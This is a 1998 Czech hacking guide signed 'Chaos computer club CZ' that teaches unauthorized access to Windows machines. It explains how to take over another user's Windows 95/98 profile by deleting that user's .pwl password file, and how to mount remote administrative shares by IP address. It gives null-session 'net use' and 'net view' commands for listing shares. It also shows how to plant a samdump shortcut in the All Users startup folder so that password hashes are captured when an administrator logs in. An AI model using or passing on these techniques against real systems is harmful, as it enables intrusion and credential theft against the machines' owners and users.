3.5. 1998.Chaos computer club CZ. Email setuid@usa.net

 

Háknutí win 98 a 95

Pro nalogování do Windows 98 a 95 s heslem stačí při loginu zmáčknout tlačítko storno. Kdyby ses rád dostal i do cizího uživatelského prostředí, nech hledat soubory s koncovkou *.pwl, vyber si z nich ten, který začíná stejně jako jméno uživatele, jehož uživ. prostředí chceš používat. Možná bude mít atributy skrytý, systémový nebo pouze pro čtení. Atributy odstraň a smaž ho. Potom se odhlaš a naloguj se pod jménem toho uživatele. Windows nenajdou soubor s koncovkou .pwl a zeptaj se tě na nový heslo - zadej si jaký chceš a vytvoří se nový soubor .pwl s tvým heslem. Je to rychlý, jednoduchý a efektivní.

 

 

Jak se dá prohlížet obsah pevného disku počítače, který je třeba na druhém konci Světa?

Budete se divit, ale i to je možné, pokud máte přístup k Internetu. V rámci lokální sítě se můžete napojit na jiný počítač v síti prostřednictvím příkazu Připojit síťovou jednotku. Syntaxe je taková \\server\síťová_jednotka ( server - název serveru v lokální siti nebo IP adresa, síťová jednotka - název sdíleného prostředku) . Pravědopodbně se vás systém zeptá na jméno + heslo, kde musíte obvykle zadat jméno a heslo některého z administrátorů. Pevný disk c: se dá obvykle připojit jako \\server\c$, a u disku d je to \\server\d$ nebo někdy \\server\d . Někdy však administrátoři systému dávají síťovým jednotkám jiný název, aby ztížili hackerům práci. Existují však programy, které dokáží získat seznam síťových jednotek ( YAPS, Internet scanner...). Ale abych se vrátil k původní otázce... Ne všichni vědí, že stejným způsobem , jako si připojujete síťovou jednotku v lokální síti, si můžete připojit i server z jiného konce Světa. Syntaxe je podobná, jen s tím rozdílem, že místo názvu serveru použijete jeho IP Adresu, tedy například:

\\195.212.221.138\c$

Jak zjistit názvy síťových jednotek pomocí příkazového řádku?

Ano i to je možné, a to pomocí takzvané Null session. Spusťte si tedy příkazový řádek a napište:

net use \\195.212.221.138\ipc$ "" /user:""

(uvedená IP adresa slouží samozřejmě pouze jako příklad). Pokud se vám objeví hláška command completed sucessfull, nebo Příkaz byl dokončen úspěšně, máte vyhráno. Pak už jenom stačí napsat:

net view \\195.212.221.138

... a zobrazí se vám seznam síťových jednotek ( bohužel ne skrytých ).

Jak zjistit IP adresu z klasické internetové adresy?

 

Abyste si mohli připojit síťový adresář na vzdáleném počítači, musíte vědět jeho IP adresu. Nemůžete použít jmennou adresu. To však není žádný problém, víte-li jeho internetovou adresu. Spusťte si příkazový řádek a napište příkaz ve formátu :

nslookup www.adresa.cz

Tento příkaz by vám měl vypsat IP adresu daného serveru.

Dá se zneužít přístupu obyčejného uživatele ke složce All Users?

All Users je adresář, ve kterém se dají nastavovat společná nastavení pro uživatele systému. Pokud například umístíte zástupce nějakého programu do c:\winnt\profiles\All users\Plocha\Nabídka Start\Po spuštění spustí se tento program všem uživatelům, kteří se na daném počítači přihlásí. Můžete tedy například umístit zástupce programu samdump s několika úpravami. Klikněte na zástupce pravým tlačítkem a vyberte Vlastnosti. Pokud máte samdump.exe na c: pak napište do okna Cíl: c:\samdump.exe > c:\dump.txt a v nabídce Spustit vyberte volbu Minimalizované. Když se pak na počítači přihlásí uživatel s administrátorskými právy, program se spustí a získá z databáze hesel z registrů zašifrovaná hesla uživatelů a uloží je do souboru dump.txt na c: